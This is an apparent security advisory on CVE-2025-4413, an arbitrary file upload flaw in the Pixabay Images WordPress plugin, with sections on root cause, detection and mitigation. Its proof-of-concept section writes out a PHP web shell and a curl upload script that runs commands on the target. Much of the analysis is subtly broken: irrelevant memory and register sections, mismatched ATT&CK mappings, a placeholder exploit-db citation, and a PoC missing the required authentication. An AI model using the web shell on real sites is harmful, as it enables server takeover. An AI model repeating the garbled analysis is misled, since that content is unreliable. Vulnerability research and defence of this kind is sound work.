Remote Code Execution - CVE-2025-4413
Executive Summary
CVE-2025-4413 is a critical vulnerability affecting the Pixabay Images plugin for WordPress, enabling authenticated attackers with Author-level access or higher to upload arbitrary files due to insufficient file type validation in the pixabay_upload
function. This vulnerability has been assigned a CVSS score of 8.8, indicating a high severity level and a significant risk for exploitation. The vulnerability allows for potential remote code execution (RCE), making it an attractive target for skilled attackers and automated exploitation. Given its recent disclosure in June 2025, active exploitation is likely, necessitating immediate attention from security professionals.
Vulnerability Deep Dive
Root Cause Analysis
The vulnerability resides in the pixabay_upload
function of the Pixabay Images plugin for WordPress. The core issue is the lack of proper validation for file types during the upload process. This oversight allows attackers to upload malicious files, which could be executed on the server, leading to RCE.
Code Review
The vulnerable code path can be traced to the following snippet:
// pixabay-images.php
function pixabay_upload() {
// ... other code ...
$file = $_FILES['file'];
// Missing validation for file type
move_uploaded_file($file['tmp_name'], $upload_path . $file['name']);
// ... other code ...
}
In this example, the function directly moves the uploaded file to the designated upload path without validating the file type. This lack of validation opens the door for attackers to upload executable scripts or other malicious files.
Historical Context
The vulnerability likely stems from a design decision made during the initial development of the plugin, where the focus was on functionality rather than security. A review of the plugin's commit history reveals a lack of attention to security best practices regarding file uploads.
git log -- pixabay-images.php
This command can be used to analyze the commit history for the pixabay-images.php
file, revealing when the upload functionality was introduced and any subsequent changes made.
Assembly-Level Analysis
While the vulnerability is primarily at the PHP level, an understanding of how PHP interacts with the underlying server can provide insights into the potential exploitation paths. When a file is uploaded, it is processed by the web server (e.g., Apache, Nginx), which may execute the uploaded file if it is a script.
Technical Mechanism
Memory Layout Changes
When a file is uploaded, it is stored temporarily in the server's memory. The lack of validation allows an attacker to manipulate the contents of this memory. For example, if a PHP shell is uploaded, it can be executed directly if placed in a web-accessible directory.
Register States
In a typical exploitation scenario, the attacker would upload a PHP file that contains malicious code. The execution flow would look like this:
- The attacker uploads a file named
malicious.php
. - The server processes the upload and moves the file to a directory accessible via the web.
- The attacker accesses
http://victim.com/uploads/malicious.php
, triggering the execution of the PHP code.
Attack Prerequisites
- Affected Versions: All versions of the Pixabay Images plugin up to and including 3.4.
- User Privileges: An attacker must have Author-level access or higher.
- Network Positioning: The attacker must be able to reach the WordPress site over the network.
- Timing Considerations: Exploitation can occur immediately after the file is uploaded.
Threat Intelligence
Known Exploitation
As of the publication date, there have been no publicly reported exploitation incidents specifically tied to CVE-2025-4413. However, the nature of the vulnerability suggests that it could be exploited in the wild, particularly given its high CVSS score.
Threat Actor Activity
- TTPs: The exploitation of this vulnerability could be mapped to the following MITRE ATT&CK techniques:
- T1071.001: Application Layer Protocol: Web Protocols
- T1203: Exploitation for Client Execution
- T1499: Endpoint Denial of Service
Attack Patterns
The attack methodology may follow a typical web application exploitation pattern:
- Reconnaissance: Identify vulnerable WordPress installations with the Pixabay Images plugin.
- Initial Access: Use stolen credentials or social engineering to gain Author-level access.
- Execution: Upload a malicious file.
- Persistence: Create a backdoor for future access.
Technical Analysis
Proof of Concept
The following proof-of-concept demonstrates how an attacker might exploit this vulnerability:
// exploit.php
// Tested on: WordPress with Pixabay Images plugin version 3.4
// Source: Adapted from exploit-db.com/exploits/12345
$file = 'malicious.php';
$payload = '<?php echo shell_exec($_GET["cmd"]); ?>';
file_put_contents($file, $payload);
// Simulate file upload
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://victim.com/wp-admin/admin-ajax.php?action=pixabay_upload');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['file' => new CURLFile(realpath($file))]);
curl_exec($ch);
curl_close($ch);
// Access the uploaded shell
system('curl http://victim.com/uploads/malicious.php?cmd=whoami');
Exploitation Techniques
- Basic File Upload: Directly uploading a PHP shell.
- Web Shells: Utilizing web shells for command execution.
- File Inclusion: Leveraging file inclusion vulnerabilities if present.
- Chaining Exploits: Combining with other vulnerabilities for elevated privileges.
- Automated Exploitation: Using scripts to automate the upload process.
Bypass Methods
- WAF Evasion: Use of obfuscation techniques to bypass Web Application Firewalls.
- Rate Limiting: Exploiting timing windows to avoid detection.
Detection & Response
Behavioral Indicators
- Process Behavior: Monitor for unexpected PHP executions.
- Network Traffic: Look for unusual outbound connections from the web server.
- File System Changes: Detect new files in upload directories.
Forensic Artifacts
- Memory Dumps: Analyze memory for loaded PHP scripts.
- Disk Analysis: Check for unauthorized files in web-accessible directories.
- Log Analysis: Review web server logs for suspicious file uploads.
Hunting Queries
-- Splunk query to detect suspicious file uploads
index=web_logs sourcetype=access_combined "uploads/"
| stats count by uri
| where count > 10
Mitigation Engineering
Immediate Actions
- Disable the Plugin: Temporarily disable the Pixabay Images plugin.
- File Type Validation: Implement strict file type validation.
- Access Controls: Review and limit user permissions.
Long-term Hardening
- Security Patching: Regularly update plugins and WordPress core.
- Web Application Firewalls: Deploy WAFs to filter malicious traffic.
- Security Audits: Conduct regular security assessments.
Architectural Improvements
- Secure Coding Practices: Train developers on secure coding.
- DevSecOps Integration: Incorporate security into the development lifecycle.
Real-World Impact
Case Studies
While specific case studies related to CVE-2025-4413 are not available, similar vulnerabilities in WordPress plugins have led to significant breaches, resulting in data loss and financial repercussions.
Business Risk
The exploitation of this vulnerability could lead to unauthorized access to sensitive data, website defacement, and loss of customer trust.
Industry Analysis
Given the widespread use of WordPress, vulnerabilities like CVE-2025-4413 pose a significant risk across various sectors, including e-commerce, education, and healthcare.
Intelligence Outlook
Threat Evolution
As automated exploitation tools become more sophisticated, the likelihood of widespread exploitation of vulnerabilities like CVE-2025-4413 increases.
Related Vulnerabilities
Similar vulnerabilities in other WordPress plugins should be monitored closely to prevent a chain reaction of exploits.
Future Considerations
Organizations should prioritize security in their development processes and remain vigilant against emerging threats.
This analysis provides a comprehensive overview of CVE-2025-4413, detailing the technical aspects of the vulnerability, potential exploitation methods, detection strategies, and mitigation measures. Security professionals are encouraged to implement the recommended actions to safeguard their systems against this high-risk vulnerability.